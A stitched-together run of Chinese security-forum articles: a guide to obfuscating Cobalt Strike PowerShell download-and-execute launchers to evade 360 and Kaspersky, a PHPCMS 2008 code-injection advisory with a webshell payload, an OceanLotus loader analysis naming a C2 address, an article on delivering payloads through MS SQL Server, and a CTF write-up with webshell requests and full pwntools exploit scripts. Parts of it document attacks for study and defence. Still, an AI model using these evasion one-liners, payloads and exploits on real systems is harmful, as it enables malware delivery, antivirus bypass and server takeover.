简单说一下 不建议把马传到VT检测，因为检测后会有很多`沙盒运行能清楚看到CS上线很多主机` 这样马会被分析透彻不说 VPS甚至及CS都会被标记起来
可以试试在[微步](https://x.threatbook.cn/)或者[奇安信威胁情报中心](https://ti.qianxin.com/)查询vps标记情况(登陆后查询效果更好)
`不说了 我先上了`
还有就是执行的时候有个问题就是360对powershell特别敏感会拦截调用 具体怎么绕过后面有讲到 `这里能放一张就不放两张了`(看不清楚的师傅
可以查看图片或者私我重新做一遍)
对了 卡巴我也没想到 因为我之前试的时候是杀了的 今天刚好朋友帮朋友上一下(`已授权 感谢Skay!`)没想到上面是卡巴大哥 猜测可能是版本太低的原因
### powershell 混淆
#### powershell 脚本混淆
`主要是对敏感字符串改变以及目标就算看到文件内容也不清楚做了什么操作` 参考工具 Obfuscation、xencrypt、其实还有以远程加载图片
参考[klionsec师傅](https://klionsec.github.io/2017/12/26/powershell-pic-execute/)
[Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation)
强烈建议执行Tutorial查看帮助命令 然后放在谷歌翻译效果更佳
如果有红色提示此系统上禁止运行脚本 Import-Module 无法加载文件，应该本地执行策略的问题。
`解决办法：管理员权限下运行：Set-ExecutionPolicy Unrestricted`
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
set scriptpath C:\Users\Mi\Desktop\9821\xxx\xxx\xxx\xxx\Invoke-Obfuscation-master\but.ps1
encoding
流程 加载要混淆的脚本 》 选择功能模块 》 选择混淆方式 》 最后out 1.ps1
##### [xencrypt](https://github.com/the-xentropy/xencrypt)
Import-Module ./xencrypt.ps1
Invoke-Xencrypt -infile .\but.ps1 -outfile buts.ps1 -iterations 5
这里5表示迭代次数 当然次数越多文件越大 但体积大有什么好处毕竟更加明显 而且不利于远程加载
前不久忘了在哪看到篇文章 上面大概意思是 部分杀软对扫描的文件是有`检测时间的限制` 如果文件体积够大 导致检测时间超时就达到绕过效果
#### powershell 命令混淆
利用`别名、分割、替换变量`等多个方式来绕过检测
该思路主要来源于[安全客](https://www.anquanke.com/post/id/86637)及[远控免杀从入门到实践(6)-代码篇-Powershell](https://www.freebuf.com/articles/system/227467.html)
原始payload
Invoke-Expression (New-Object
Net.WebClient).DownloadString('http:9821.ink/xxx')
安全客
将http分开+号连接
Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tp://9821.ink/xxx")
变量代替
IEX $wc=New-Object Net.WebClient;$wc.DownloadString('h'+'ttp://9821.ink/xxx')
转义符号加在其他字符前不影响字符的意思，避免在0,a,b,f,n,r,t,v的小写字母前出现即可。
Invoke-Expression (New-Object Net.WebClient)."Down`loadString"('h'+'ttp://9821.ink/xxx')
同样可以使用在Net.Webclient上
Invoke-Expression (New-Object "`Ne`T.`Web`Cli`ent")."Down`l`oadString"('h'+'ttp://9821.ink/xxx')
freebuf
powershell -NoExit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://9821.ink/xxx'')'.Replace('123','adString');IEX ($c1+$c2)"
powershell "$a1='IEX ((new-object net.webclient).downl';$a2='oadstring(''http://9821.ink/xxx''))';$a3="$a1,$a2";IEX(-join $a3)"
chabug #别名
powershell set-alias -name kaspersky -value Invoke-Expression;kaspersky(New-Object Net.WebClient).DownloadString('http://9821.ink/xxx')
`综合起来 就成了最开始的上线命令`
powershell set-alias -name kaspersky -value Invoke-Expression;"$a1='kaspersky ((new-object net.webclient).downl';$a2='oadstring(''http://9821.ink/xxx''))';$a3=$a1,$a2;kaspersky(-join $a3)"
#### powershell 调用方式
主要可以粗略分为两大类，首先是绕过AV的检测规则，其次是换一个方式执行类似 PowerShell 的操作
##### 调用
早在今年四月份的时候 成功实验 `powershell.exe改成powershell.com`
用powershell.com来执行命令就可达到绕过360及火绒的拦截
`目前360已经以对其检测拦截 遗憾的是火绒还未拦截该方法(payload为 CS3.4 powershell /a)`
##### 欺骗
还有种方法 `利用cs的argue` 参数欺骗 参考[0x3师傅](http://www.0x3.biz/archives/837.html)
powershell一句话上线
直接运行powershell.exe一句话上线命令，会直接被火绒及360拦截
`execute执行powershell.exe`（shell命令不会成功，因为shell本质是cmd.exe /c arguments）
更多方法可以参考[肖洋肖恩师傅](https://www.cnblogs.com/-mo-/p/12692559.html)
(测试的时候发现部分已不能用了)
## 后记
* 感谢给予帮助和支持的同事、chabug论坛以及所在的白帽一百少先队，最后谢谢你
* 声明：本文章经用于经验及交流，严禁用于非法操作，出现后果一切自行承担，阅读此文章表示你已同意
* `最后希望大家不要吝啬您的批评或赞美，对我来说都是莫大的支持及鼓励！` | 社区文章 |
# 背景
PHPCMS网站内容管理系统是国内主流CMS系统之一，同时也是一个开源的PHP开发框架。
PHPCMS最早于2008年推出，最新版已出到v9.6.3，但由于稳定、灵活、开源的特性，时至今日，PHPCMS2008版本仍被许多网站所使用。
# 漏洞简介
PHPCMS 2008存在的代码注入漏洞，导致攻击者可向网站上路径可控的缓存文件写入任意内容，从而可能获取webshell并执行任意指令。
当攻击者向安装有PHPCMS 2008的网站发送uri为如下文本的payload
/type.php?template=tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss
那么`@unlink(_FILE_);assert($_POST[1]);`这句恶意php指令将被写入网站的/cache_template/rss.tpl.php文件。
阿里云安全于11月5日捕获到该漏洞的多个利用样本，分析后因未联系上PHPCMS官方，已报告给国家信息安全漏洞共享平台，且在cve公共漏洞库中编号为CVE-2018-19127。
# 漏洞原理
该漏洞源于PHPCMS 2008源码中的/type.php文件。该文件包含如下代码：
if(empty($template)) $template = 'type';
...
include template('phpcms', $template);
这里$template变量是用户能够通过传入参数控制的，同时可以看到该变量之后会被传入template()方法。而template()方法在/include/global.func.php文件中定义，包含如下代码：
template_compile($module, $template, $istag);
不难看出，这里会继续调用/include/template.func.php中的template_compile()：
function template_compile($module, $template, $istag = 0)
{
...
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
$strlen = file_put_contents($compiledtplfile, $content);
...
}
`
在这个方法中，$template变量同时被用于$compiledtplfile中文件路径的生成，和$content中文件内容的生成。
而前文所述的攻击payload将$template变量被设置为如下的值
tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss
所以在template_compile()方法中，调用file_put_contents()函数时的第一个参数就被写成了`data/cache_template/phpcms_tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss.tpl.php`，这将被php解析成"data/cache_template/rss.tpl.php"。
最终，`@unlink(_FILE_);assert($_POST[1]);`将被写入该文件。
# 影响范围
虽然距离PHPCMS2008版本的推出已经10年，但仍有不少网站正在使用PHPCMS2008，包括政府、企业的网站；根据Fofa网络空间安全搜索引擎的全网精确搜索结果显示，还有近200个使用PHPCMS
2008版本的网站；而如果使用模糊匹配对网站进行识别，匹配结果更达上万个。
通过利用该漏洞，攻击者在向路径可控的文件写入恶意脚本代码后，后续将能够向该文件发送webshell指令，在服务器上执行任意代码，因此该代码注入漏洞的影响较大。
# 安全建议
## 手动修复
临时解决可以在/type.php文件中对$template变量进行过滤，避免用户输入的含有"("、"{"等符号的内容混入，并被当做路径和脚本内容处理。
但由于PHPCMS2008版本过旧，用户应尽量升级到最新版本的PHPCMS，才能够更好地保障安全。
## 安全加固
云防火墙已支持对该类漏洞的入侵防御，开启云防火墙IPS拦截模式和虚拟补丁功能，用户即使不自行进行修复，也依然能够进行防御和拦截。
购买安全管家服务，您将能够在阿里云安全专家指导下进行安全加固及优化，避免系统受到该漏洞及后续其他漏洞影响。 | 社区文章 |
# 海莲花的CobaltStrike加载器
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
海莲花（OceanLotus）APT团伙是一个高度组织化的、专业化的境外国家级黑客组织，其最早由红雨滴团队发现并披露。该组织至少自2012年4月起便针对中国政府、科研院所、海事机构、海域建设、航运企业等相关重要领域展开了有组织、有计划、有针对性的长时间不间断攻击。
最近几个月又是海莲花活动的高峰期，在对样本一一分析之后，笔者发现大多数样本都会层层解密，最后加载CobaltStrike的Beacon。
## 样本分析
### 样本基本信息
样本md5：edf7dc76776cd05ecf1bc190ae591654
样本于6月3日首次上传到VT，由于海莲花的样本一般情况下都会修改文件时间戳，所以无法从CreateTime获取有用的信息：
有意思的是，vt厂商大多数检出为CobaltStrike相关的样本：
### 外层加载器分析
比较遗憾的是此次并未捕获到诱饵文件，原始样本为32位dll，dll恶意代码执行入口为DllMain，由于dll中暂无其他的信息，暂时无法推测加载模式是白利用还是非PE直接加载。
样本外层是一个loader，功能非常简单：读取名为W5X8T4的资源表项并为其分配内存空间，最后call edi执行资源中的代码：
如下所示：
### 资源shellcode分析
资源的shellcode加载之后，有大量的混淆代码，和海莲花之前的样本类似
第一个call中主要是调用CreateThread启动一个新线程：
该线程主要用于启动服务：
线程创建完成之后，程序将会加载所需dll，并依次获取函数的的地址。
加载动态库：
获取API地址：
这部分代码都不用管，直接跳过即可，所有API地址获取完成之后，程序将会设置异常处理
接着处理svchost.exe的路径，方便之后启动并注入该进程：
继续加载动态库：
获取api地址：
创建svchost进程
创建成功之后，通过GetProcessID获取目标进程ID：
通过VirtualAllocEx在目标进程中开辟内存空间
第二段内存空间：
分配完成之后，通过WriteProcessMemory先向第二次分配的内存空间写入指定的shellcode：
写入完成之后如下：
接着创建进程快照，查找被注入的4B4进程，找到之后OpenThread打开线程对象
暂停目标线程
接着向D0000写入代码，代码关键是：
mov eax,0xe0000
call eax
执行e0000处的代码
通过结构体设置新线程执行的目标函数：
最后ResumeThread，成功调用shellcode
要调试shellcode，可以附加目标进程调试该段shellcode，不过该样本的shellcode比较简单，可以不用那么麻烦，直接设置eip也可以成功调试。
该段shellcode主要只有两个call，第一个call
ebx会解密出cs的Beacon后门并加载，加载之后将Beacon的DllEntryPoint地址赋值给eax通过call eax再次调用。
第一个call首先会VirtualAlloc分配内存空间，然后将shellcode拷贝到该地址处：
通过VirtualProtect更改shellcode的可执行属性：
接着call 到指定的地址执行，call过来的shellcode地址就是dll entrypoint
call调用之后，程序还会将该地址（[ebp-0x34]）赋值给eax，等下call eax再次调用
将该段内存dump出来，跳转到01f75cb0这个入口点，笔者使用了IDA7.5的拉取符号功能，这里自动识别出了DllEntryPoint函数
从通过参数序列，很容易就找到具体的DllMain函数
根据DllMain的代码，感觉很像是CobaltStrike的远控模块，于是笔者找到了之前分析过的cs模块，对比之后可以确认该样本为CobaltStrike生成：
解密请求C2
解密请求头：
通过InternetOpen请求C2：185[.]225[.]19[.]22
该ip关联域名：impeplaism.info
该域名已经有OceanLotus标签 | 社区文章 |
对于入侵者来说，数据库服务器通常是他们的首要目标。最近，我们开展了一个名为StickyDB的新研究项目，以便了解更多与数据库黑客有关的行为，包括常见的数据库攻击，以及攻击者所使用的工具和技术，等等。
为了开展这项研究，我们创建了一个含有各种流行的SQL/NoSQL数据库（如Microsoft SQL
ServerMySQLOracle和MongoDB）的蜜罐网络，并对这些数据库的访问情况实施了长达六个月的监控。
我们将研究成果分为四个部分。在这篇文章中，我们将向读者介绍通过Microsoft SQL
Server执行SQL和OS命令的相关技术，利用它们向目标系统投递并执行恶意payload。
**数据库服务器的搜索与占领**
在过去几个月中，我们调查了中国黑客团体针对MS
SQL和MySQL数据库服务器发动的多次攻击活动。这些攻击活动涉及三个主要阶段：扫描、攻击和投递恶意payload。在本文中，我们只讨论这些攻击活动的最后一步，即恶意payload的投递和执行技术。
需要说明的是：这些攻击通常是从扫描子网并创建由运行不同服务（如HTTP Web服务器、MS
SQL和MySQL）的计算机组成的列表开始。扫描过程结束后，攻击者通常会试图通过暴力破解用户名和密码的方式，来攻破数据库服务器的第一道防线。初步攻击一旦得手，就可以使用自动化工具运行SQL命令，来获得目标服务器的完全控制权了。
通常情况下，攻击者会从临时FTP或HTTP服务器向目标系统传送恶意payload，以实现对这些服务器的全面接管。我们从攻击中收集到的payload种类繁多，包括加密货币挖矿软件、DDoS僵尸程序和各种远程访问木马（RAT）等。
图1：数据库接管过程
**向目标系统投递并执行恶意可执行文件**
通常，恶意payload主要通过两种方式植入数据库服务器：直接在目标系统上创建，或者通过SQL命令从远程服务器下载。在下一节中，我们将讨论在目标系统上创建和运行可执行文件的各种方法。
**通过SQL命令直接在目标系统上创建可执行文件**
SQL Server允许在T-SQL中使用OLE存储过程处理COM [1]对象。同时，OLE过程还可以实例化COM对象并使用该实例的方法和属性。
某些攻击者会利用这个功能在磁盘上创建和存储可执行文件。在下面的示例中，攻击者就使用了OLE自动化[2]过程（sp_OA）和ADODB.Stream对象[3]，该对象的类标识符为“00000566-0000-0010-8000-00AA006D2EA4”。
此外，攻击者也可以使用sp_OAMethod过程执行ADODB.Stream对象的方法（Open、Write、SaveToFile和Close），从而将打开的Stream对象的二进制内容（HEX编码的可执行文件）存储到本地文件中。
下图给出了攻击的完整流程：
图2：通过OLE过程和ADODB.Stream对象将文件保存到本地的技术
**通过SQL命令将可执行文件下载到目标服务器**
根据我们的SQL服务器攻击分析结果来看，我们发现攻击者在下载恶意可执行文件时用到了下列对象和功能。
**COM对象和OLE存储过程**
攻击者利用了如下事实：SQL
Server可以借助COM对象，通过OLE存储过程将恶意可执行文件下载到目标系统中。后面的攻击就是基于以下COM对象的：FileSystemObject、ADODB.Stream、WshShell和XMLHTTP
[4]。
攻击者可以使用File
System对象来创建并填充VB脚本（c:\401.vbs）。而该脚本的作用，就是调用XMLHTTP和ADODB.Stream对象的方法来下载恶意可执行文件（c:\cz.exe）。然后，会通过WshShell对象来执行这个VB脚本。
下面给出用于创建和执行VB下载器脚本的命令。
下图总结了攻击的完整流程：
图3：如何创建和执行HTTP下载器脚本
**Ad Hoc分布式查询和Microsoft Jet的Microsoft OLE DB Provider**
AD Hoc分布式查询功能允许从多个异构数据源（如多个SQL Server实例）访问数据。这些数据源可以存储在相同或不同的计算机上。启用ad-hoc访问功能时，任何登录到该实例的用户都可以通过OPENROWSET [5]或OPENDATASOURCE [6]函数，使用OLE DB
Provider执行那些通过网络引用任意数据源的SQL语句。
攻击者可以利用Ad Hoc分布式查询和Microsoft Jet的Microsoft OLE DB
Provider[7]来创建和执行FTP脚本，而该脚可以用来在从远程服务器下载恶意可执行文件。
下面是这种攻击的一个例子：
下图给出了攻击的完整流程：
图4：如何使用Ad Hoc分布式查询和Microsoft Jet的Microsoft OLE DB Provider创建和执行FTP下载器脚本
**SQL代理作业**
SQL
Server代理[8]作业有时候会被攻击者用来创建恶意的自动任务。攻击者经常利用SQL代理作业来在受感染的系统上实现持久性，这方面的内容将在后续文章中详述。
在下面的示例中，攻击者使用了SQL代理作业和SQL
Server作业系统存储过程来调用cmd.exe，并创建了一个FTP脚本来下载恶意可执行文件。这个FTP脚本与我们在前面例子中看到的脚本功能非常相似。
下图总结了攻击的完整流程：
图5：使用SQL代理作业下载和执行可执行文件的方法
**XP_CMDSHELL——扩展存储过程**
将恶意可执行文件上传到目标服务器的另一种方法，是借助xp_cmdshell扩展存储过程[9]。xp_cmdshell提供了一种从SQL
Server实例的上下文中执行主机Windows系统命令的方法。
下面的示例为读者演示如何使用xp_cmdshell命令执行cmd.exe并创建FTP脚本的方法，该脚本将从远程服务器下载恶意可执行文件。
**小结**
在本文中，我们为读者详细介绍了通过MS
SQL数据库执行SQL和OS命令的各种方法，以便向目标系统传递和执行恶意payload。在本系列的下一篇文章中，我们将为读者介绍通过MySQL数据库执行SQL和OS命令的方法。
[1]
COM是一种允许对象进行跨进程和跨机器通信的技术，并且能够让这种通信如同在单个进程中那样简单。COM是通过规定对象的关联数据只能通过对象的接口进行处理来实现这一点的。
[2] OLE自动化是由微软提出的一种进程间通信机制。
[3] ADODB.Stream对象用于读写和管理二进制数据流。
[4] XMLHTTP对象是微软XML
DOM（文档对象模型）套件的一部分。该对象最初设计用于通过HTTP协议为远程服务器上的XML文档提供客户端访问。它提供了一个简单的API，通过该API可以发送请求并获得生成的XML、HTML或二进制数据。
[5] OPENROWSET函数可用于从OLEDB数据源导入数据。它是访问链接服务器中的数据表的替代方法，同时也是一种通过OLE
DB连接和访问远程数据的一次性临时方法。
[[6] OPENDATASOURCE可以在不使用链接服务器名称的情况下，提供ad hoc连接信息用于对象名称中的一部分，而对象名称通常由四部分组成。
[7]Microsoft Jet的OLE DB Provider允许通过ADO访问Microsoft
Jet数据库。JET向开发人员提供了在本地文件系统或共享网络文件夹上创建和操作关系数据库的功能。
[8] SQL Server代理是执行预定管理任务（作业）的Microsoft Windows服务。SQL Server代理使用SQL
Server来存储作业信息。其中，一个作业可以包含一个或多个作业步骤。而每个步骤都有自己的相应任务，例如备份数据库等。
[9]扩展存储过程是可以供SQL Server动态加载和运行的DLL。
> 本文翻译自：<https://www.imperva.com/blog/2018/02/deep-dive-database-attacks-part-> ii-delivery-execution-malicious-executables-sql-commands-sql-server/>
>
> 本文为 fanyeee 原创翻译稿件， 授权嘶吼独家发布，如若转载，请联系嘶吼编辑：
> <http://www.4hou.com/data/10697.html> | 社区文章 |
> Team: De1ta
题目打包链接：<https://raw.githubusercontent.com/De1ta-team/CTF_Challenges/master/XCTF2018_Final_Challenges.zip>
今年我们De1ta在前面一半XCTF联赛分站赛都没有参加的情况下，以后几场分站赛总积分排名第19勉强挤进XCTF总决赛（感谢r3kapig的大佬们抬了一手），最终我们解题排名第六，攻防排名第九，总分排名第九，给队内所有师傅递茶！tql
顺便打个小广告：De1ta长期招Web/逆向/pwn/密码学/硬件/取证/杂项/etc.选手，急招二进制和密码选手,有意向的大佬请联系ZGUxdGFAcHJvdG9ubWFpbC5jb20=
[TOC]
# Web
## best php
just try it!
<http://10.99.99.16>
index.php
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html:/tmp');
$file = 'function.php';
$func = isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func,$_GET);
include($file);
session_start();
$_SESSION['name'] = $_POST['name'];
if($_SESSION['name']=='admin'){
header('location:admin.php');
}
?>
从index.php可以看出$_GET['function'] 和 $_SESSION['name'] = $_POST['name'] 可控
其中call_user_func($func,$_GET);回调函数可利用
而且include($file);调用了文件包含
所以，可以调用变量覆盖函数，覆盖掉$file，从而引入文件包含
payload:
[http://10.99.99.16/?function=extract&file=php://filter/read=convert.base64-encode/resource=./function.php](http://10.99.99.16/?function=extract&file=php://filter/read=convert.base64-encode/resource=./function.php)
一开始只是highlight_file给出index.php的源码，利用文件包含读到了admin.php和function.php的源码，不过对解题没啥卵用。
吐槽点：早上题目的环境是php7.2，extract函数是无法动态调用的，然后中午主办方偷偷改了环境为7.0，也不发公告说一声，浪费了很多时间。
调用session_start函数，修改session的位置
从index.php可以看出$_SESSION['name'] = $_POST['name']，session的值可控，session默认的保存位置为
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/var/lib/php5/sess_PHPSESSID
/var/lib/php5/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
由于ini_set('open_basedir', '/var/www/html:/tmp')，我们包含不了/var/lib/下的session
但是我在tmp下也找不到自己的session，所以这里的session应该是在/var/lib/下
这里可以调用session_start函数，修改session的位置
这里直接把session写到了web根目录，并且内容可控
再利用变量覆盖，调用文件包含，即可get shell
[http://10.99.99.16/index.php?function=extract&file=./sess_lfc5uk0rv8ndmjfv86u9tv6fk2](http://10.99.99.16/index.php?function=extract&file=./sess_lfc5uk0rv8ndmjfv86u9tv6fk2)
payload:
POST /index.php?function=session_start&save_path=/tmp HTTP/1.1
Host: 10.99.99.16
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=a9tvfth9lfqabt9us85t3b07s1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
name=<?php echo "aaa";system($_GET[x]);?>
GET /index.php?function=extract&file=/tmp/sess_a9tvfth9lfqabt9us85t3b07s1&x=cat+sdjbhudfhuahdjkasndjkasnbdfdf.php HTTP/1.1
Host: 10.99.99.16
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=a9tvfth9lfqabt9us85t3b07s1
Upgrade-Insecure-Requests: 1
> flag:flag{best_H4cker_in_xctf}
## PUBG
chi ji ma？host: 159.138.2.46:8888 http://guaika.txmeili.com:8888/kss_admin/index.php
hint1:先找源码，题目环境正在修复。 Try to find the source code first, the author is fixing the challenge environment.
hint2:题目环境已更新http://guaika.txmeili.com:8888/a.php，验证码看不到的可以访问这个159.138.22.212; Challegen environmen has been updated, http://guaika.txmeili.com:8888/a.php, if you have problem with authorize code, please access to 159.138.22.212
验证码在 http://guaika.txmeili.com:8888/a.php
扫描目录，发现源码 <http://guaika.txmeili.com:8888/www.zip>
部分文件使用了ZEND/PHP5.2加密，解密工具：<https://pan.baidu.com/s/1eQjnVGm> ，选择“PHP 5.2 NM
解码”，解密后变量名还是有点乱，可以用 <http://www.zhaoyuanma.com/phpzendfix.html> 进行变量名的修复。
在/kss_inc/payapi_return.php 中发现存在SQL注入：
SerialNo参数可以进行盲注：
使用sqlmap可以拖出数据，需要加option --risk 3 --level 5 --string="易付通URL签名不正确"
因为在默认的risk(1)和level(1)下sqlmap会跳过对or型盲注的检测
\--string的作用为
拖出数据，构造cookie获得admin权限。根据/kss_inc/db_function.php
iZSVk4mLkY函数逻辑构造cookie中的kss_manager，根据/kss_inc/function.php
jZKVlY6Hk函数逻辑构造cookie中的kss_manager_ver
kss_manager=1,axing,8ccf03839a8c63a3a9de17fa5ac6a192,efefefef
kss_manager_ver=md5(kss_manager.COOKKEY)
efefefef是/kss_inc/db_function.php中的后门linecode值，COOKKEY的值可以在/kss_inc/_config.php中找到。从而我们可以登录管理后台。
接下来考虑如何getshell。在/kss_admin/中存在升级功能，
跟进该函数，发现其使用了回调函数read_body
read_body函数使用了file_put_contents函数将curl的返回结果写入/kss_tools/_webup.php
如果我们能够控制curl的返回内容，我们就能实现getshell
我们看到url里拼接的变量是可控的：
在<http://api.hphu.com/test/kss_admin/index.php>
有一套demo，同时，在/kss_inc/function.php可以看到SQL注入过滤函数i4mIkpO，其中对SQL敏感字符过滤的部分：
可以看到，该过滤函数会将有敏感字符的部分直接回显，利用这个函数，结合可控的拼接到url的变量，我们可以控制curl
<http://api.hphu.com> 某个文件的返回内容getshell
那么，我们全局查找一下使用了该函数的文件，发现很多文件都用了该函数，例如/kss_admin/admin_logs.php
尝试构造：
写shell：
getflag：
> flag:flag{@_n1ce_s1ng@p0r3 _tr1p_ :)}
>
> PS:附上队内@aye 师傅的Web wp：
> baby php：<https://www.jianshu.com/p/7d63eca80686>
> PUBG：<https://www.jianshu.com/p/bad7af1a631c>
# Pwn
## nobof
nc 10.99.99.16 29999
这道题是用clang编译的，用了safestack
审了一遍，发现get_int函数能在safestack上面溢出，但是并没有什么用，利用不了
menu这个格式化字符串漏洞非常明显，但是只能用来leak，因为检测了有没有n这个字母
最后审出来的是下标溢出漏洞，基本存在于每个有用到下标的地方
我们用update来解释下
首先get_int会读取一个数字，然后判断是否大于256，但是v1其实是可以为负数
例如v1 = 0xf0000001，这个在程序里面判断的是一个小于0的数
然后在下面&books[64 * v1 + 2] 这个地方
v1*64= 0xf0000001 <<8 = 0x00000100
这样就能bypass它的v1<256这个检查
那么能用来干什么呢？
很明显可以去写libc的malloc_hook或者free_hook，还可以去写栈，直接rop
最后选择了直接去写栈，不过因为栈地址会变，所以我限制了一下栈地址的范围，不然写着写着会报错
下面是简单的payload
from pwn import *
debug=0
context.log_level='debug'
if debug:
p=process('./no-bof')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
gdb.attach(p)
e=ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
p=remote('10.99.99.16', 29999)
e=ELF('./x32_libc-2.19.so')
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
ru('Your input: ')
sl('4 %47$p%26$p')
ru('Your choice is:4 ')
data=ru('\n')
ru('Your input: ')
libc=int(data[:10],16)
stack=int(data[10:20],16)
if debug:
base=libc-0x18637
else:
base=libc-0x19AD3
book=0x84978E4
'''
binsh=base+e.search('/bin/sh').next()
offset=(binsh-book)>>8
offset+=0
target=book+offset*0x100+8
offset+=0xf0000000
offset=offset-0x100000000
print(hex(target))
print(hex(binsh))
print(hex(target-base))
print(hex(base))
sl('5')
ru('which book do you want to print?')
sl(str(offset))
'''
offset=(stack-book)>>8
target=book+offset*0x100+8
if stack-target<0x2c or stack-target>0x5c:
exit()
offset+=0xf0000000
offset=offset-0x100000000
binsh=base+e.search('/bin/sh').next()
system=base+e.symbols['system']
sl('2')
ru('which book do you want to update?')
sl(str(offset))
ru('Book title: ')
sl('\x00'*(stack-0x2c-target)+p32(system)+p32(binsh)*2)
ru('Book price: ')
sl('1')
p.interactive()
## reader
nc 10.99.99.16 19999
这道题感觉有点坑爹，首先随便审了一下main函数，发现好像有一个任意执行
但是后面却发现，这里根本利用不了........
题目有这些功能
1. input original raw text
2. input paper form text
3. input book form text
4. export book to paper
5. export paper to book
6. proofread input material with raw text
7. delete
8. show file
下面来解释一下这些功能
**input original raw text**
简单的读255字节到bss段
**input paper form text**
选择写入哪一个paper，然后读取
content: 255个字节
title: 31个字节
description: 127个字节
再用strlen来得到content的长度，写进结构体的第四个字节处
**input book form text**
选择写入哪一个book，然后读取
content: 255个字节
title: 31个字节
description: 255个字节
再用strlen来得到content的长度，写进结构体的第四个字节处
**export book to paper**
选择将哪个book复制到哪个paper
具体是，将book的content的size写到paper的content的size处
然后
memcpy( paper's content, book's content, 0xff);
memcpy( paper's title, book's title, 0xff);
memcpy( paper's description, book's description, 0xff);
这里就漏洞的所在点，这里能溢出到下一个paper的size和content
**export paper to book**
和上一个功能差不多，不多说了
**proofread input material with raw text**
首先计算了某个paper或book的content和 raw_content有前多少个字节相等
然后让你猜大概前多少个字节相等
假如你猜的前n个字节是相等的，那么它就会用strncmp来判断，返回的结果是相等的话，就会打印栈上读进来content的前n个字节
这里的漏洞就是利用了strncmp是用于字符串判断相等的，假如我们content和raw content 都是空的，这里也会返回判断相等
但是n的话可以是一个很大的数，这样就能leak出栈上的内容
**delete**
首先会在栈上开辟book或paper结构体大小的空间
然后再memcpy到上面，最后memset原来的内存
但是这里它忘记判断content的size的大小，直接就memcpy上去了，所以就造成栈溢出了
所以利用链大概是
1. leak出栈上有用的信息
2. 溢出改paper的content size位
3. 写rop链到下一个paper
4. delete被改size位的paper，get shell
下面是比赛的时候写的payload，可能不太简洁，凑合着看吧
from pwn import *
debug=0
context.log_level='debug'
if debug:
p=process('./reder')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
gdb.attach(p)
else:
p=remote('10.99.99.16',19999)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
def input_raw(x):
sl('1')
ru('please input your raw text')
sl(x)
ru('>')
def inn(idx,id,content,title,desc):
sl(str(idx))
ru('Where you want to edit/input?')
sl(str(id))
ru('please input content')
se(content)
ru('input your title')
se(title)
ru('input your description\n>')
se(desc)
ru('>')
def export(idx,id1,id2):
sl(str(idx))
ru('Which book you want to export')
sl(str(id1))
ru('where you want to output')
sl(str(id2))
ru('>')
def mexit():
sl('q')
ru('Are you sure you want to exit?(y/n)')
sl('n')
ru('>')
sl('6')
ru('what do you want to proofread?')
sl('1')
ru('which one you want to proofread?')
sl('1')
ru('how many words you assume are same?')
sl('400')
ru('\x00'*0x108)
data=ru('\n')[:-1]
pbase=u64(data[:8])-0x138F
libc=u64(data[-8:])
if debug:
base=libc-0x20830
else:
base=libc-0x21F45
ru('>')
inn(3,1,'a'*0xff,'b'*0x1f,'c'*0x80+p32(0)+p32(0x300)+cyclic(0x77))
inn(2,2,cyclic(1),'q'*0x1f,cyclic(1))
payload='a'*120+p64(pbase+0x203000+0x100)+cyclic(8)+p64(pbase+0x203000+0x100)+'a'*8+p64(base+0x4647c)
inn(3,3,cyclic(0xff),'b'*0x1f,payload)
export(4,1,1)
export(4,3,2)
sl('7')
ru('what do you want to delete?')
sl('1')
ru('which one you want to delete?')
sl('2')
print(hex(pbase))
print(hex(libc))
p.interactive()
# Misc
## Mysterious signals
hint:无线射频频谱 radio frequency spectrum
使用cool edit pro2打开文件,在"查看"一栏选择"光谱显示窗"即可看到flag
> flag:flag{756e69636f726e}
## 核弹遥控器密码
hint:芯片型号pt2242,24位有效数据 pt2242 chipset, 24 bits of valid data
pt2242是固定码芯片
通过inspectrum(<https://github.com/miek/inspectrum>)这个工具来分析信号
结合<https://www.freebuf.com/articles/wireless/146781.html> 教程，可以调出：
其中，高电平长的为1，低电平长的为0
00000001011110100101100
转16进制为flag，17A59
吐槽一下，一开始出题人没说flag是16进制大写，害得我们试了好久，还以为方法错了
> flag:17A59
## 诡异的校验
